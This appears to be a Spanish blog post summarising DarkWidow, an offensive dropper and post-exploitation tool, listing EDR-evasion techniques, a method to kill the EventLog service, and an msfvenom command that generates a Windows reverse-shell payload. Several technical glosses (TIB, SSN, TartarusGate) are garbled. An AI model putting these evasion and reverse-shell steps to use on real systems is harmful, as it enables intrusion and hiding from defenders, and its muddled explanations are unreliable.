DarkWidow: Dropper/PostExploitation Tool

DarkWidow, desarrollado por @reveng007 y presentado de la BlackHat de Asia de 2023, es un proyecto de malware en GitHub que destaca por su enfoque en la evasión de detección y la persistencia. Se trata de un dropper/herramienta de post-explotación y algunas de sus características clave incluyen:

1. Indirect Dynamic Syscall (Llamadas al sistema dinámicas indirectas):

  • En lugar de llamar directamente a las funciones del sistema operativo (llamadas al sistema) por su nombre o dirección, DarkWidow obtiene su dirección dinámicamente en tiempo de ejecución.
  • Esto se puede lograr mediante diversos métodos, como consultar la memoria del kernel o utilizando técnicas de hashing.
  • Una vez obtenida la dirección, se ejecuta la llamada al sistema de forma indirecta, haciendo que parezca un acceso regular a la memoria y dificultando su detección por herramientas de seguridad basadas en firmas.

2. SSN + Syscall address sorting via Modified TartarusGate approach (Ordenamiento de direcciones de llamadas al sistema SSN + enfoque modificado de TartarusGate):

  • Esta técnica se basa en un enfoque similar al utilizado por el rootkit TartarusGate.
  • Implica ordenar las direcciones de las llamadas al sistema de una manera específica (posiblemente utilizando un algoritmo SSN - Sorting Serial Numbers) para dificultar su identificación por herramientas de análisis estático.
  • Sin embargo, es importante aclarar que DarkWidow no utiliza directamente a TartarusGate, solo se inspira en un aspecto de su funcionamiento.

3. Remote Process Injection via APC Early Bird (Inyección remota de código mediante APC Early Bird):

  • Esta técnica aprovecha una funcionalidad legítima del sistema operativo llamada APC (Asynchronous Procedure Call) para inyectar código malicioso en un proceso remoto.
  • Se crea un proceso "víctima" (generalmente legítimo) y se suspende antes de que comience a funcionar.
  • Se asigna memoria dentro del proceso y se escribe el código malicioso en ella.
  • Se crea una rutina APC que apunta al código malicioso.
  • Al reanudarse el proceso "víctima", se ejecuta la rutina APC, inyectando el código malicioso antes de que se inicien las protecciones del software de seguridad.

4. Spawns a sacrificial Process as target process (crea un proceso de sacrificio como proceso objetivo):

  • DarkWidow crea un proceso "sacrificio" como objetivo para desviar la atención de las herramientas de detección y respuesta a endpoints (EDR).
  • Este proceso "sacrificio" puede ser legítimo o malicioso, pero su principal objetivo es atraer la atención mientras el malware real realiza sus actividades maliciosas en segundo plano.

5. (ACG+BlockDll) mitigation policy on spawned process (Política de mitigación ACG+BlockDll en el proceso engendrado):

  • DarkWidow implementa la política de mitigación ACG (Arbitrary Code Guard) y BlockDll en el proceso "sacrificio" engendrado.
  • Estas políticas de mitigación intentan dificultar que las herramientas EDR inyecten su propio código en el proceso, lo que podría ayudar a ocultar la actividad maliciosa de DarkWidow.

6. PPID spoofing (Suplantación de PPID):

  • DarkWidow falsifica el identificador de proceso padre (PPID) del proceso malicioso para dificultar su rastreo por los investigadores de seguridad.
  • Al modificar el PPID, el malware parece originarse en un proceso legítimo, lo que puede confundir las herramientas de análisis.

7. Api resolving from TIB (Resolución de API desde TIB):

  • En lugar de llamar directamente a las API del sistema operativo por su nombre, DarkWidow obtiene sus direcciones consultando la Tabla de importación de subprocesos (TIB) del proceso.
  • La TIB contiene información sobre las DLL cargadas en el proceso y sus funciones exportadas.
  • Al resolver las API desde la TIB, DarkWidow evita la necesidad de conocer las direcciones exactas de las API, lo que dificulta su detección.

8. API hashing (Hashing de API):

  • DarkWidow puede implementar un algoritmo de hashing para las API del sistema operativo.
  • Esto implica aplicar una función matemática a los nombres o direcciones de las API para generar una cadena única (hash).
  • Al llamar a las API mediante sus hashes, DarkWidow dificulta aún más su identificación por herramientas de análisis que buscan patrones específicos de llamadas al sistema.

Bonus
si tienes privilegios de administrador puedes deshabilitar el registro de eventos eliminando los subprocesos del servicio EventLog. La desventaja es que si se reanudan los subprocesos, todos los eventos que ocurrieron durante la suspensión del event log se registrarán nuevamente. Así que lo que hace DarkWidow es matar todos los subprocesos, es decir, matar todo el proceso (responsable de svchost.exe) creando un CO.

Uso:
PS C:> .\x64\Release\indirect.exe
[!] Wrong!
[->] Syntax: .\x64\Release\indirect.exe <PPID to spoof>

Demo (MSF shell reversa):
msfvenom -p windows/x64/shell_reverse_tcp -ax64 LHOST=192.168.0.114 LPORT=1234 -f csharp
 

Repo GitHub: reveng007/DarkWidow: https://github.com/reveng007/DarkWidow

Comentarios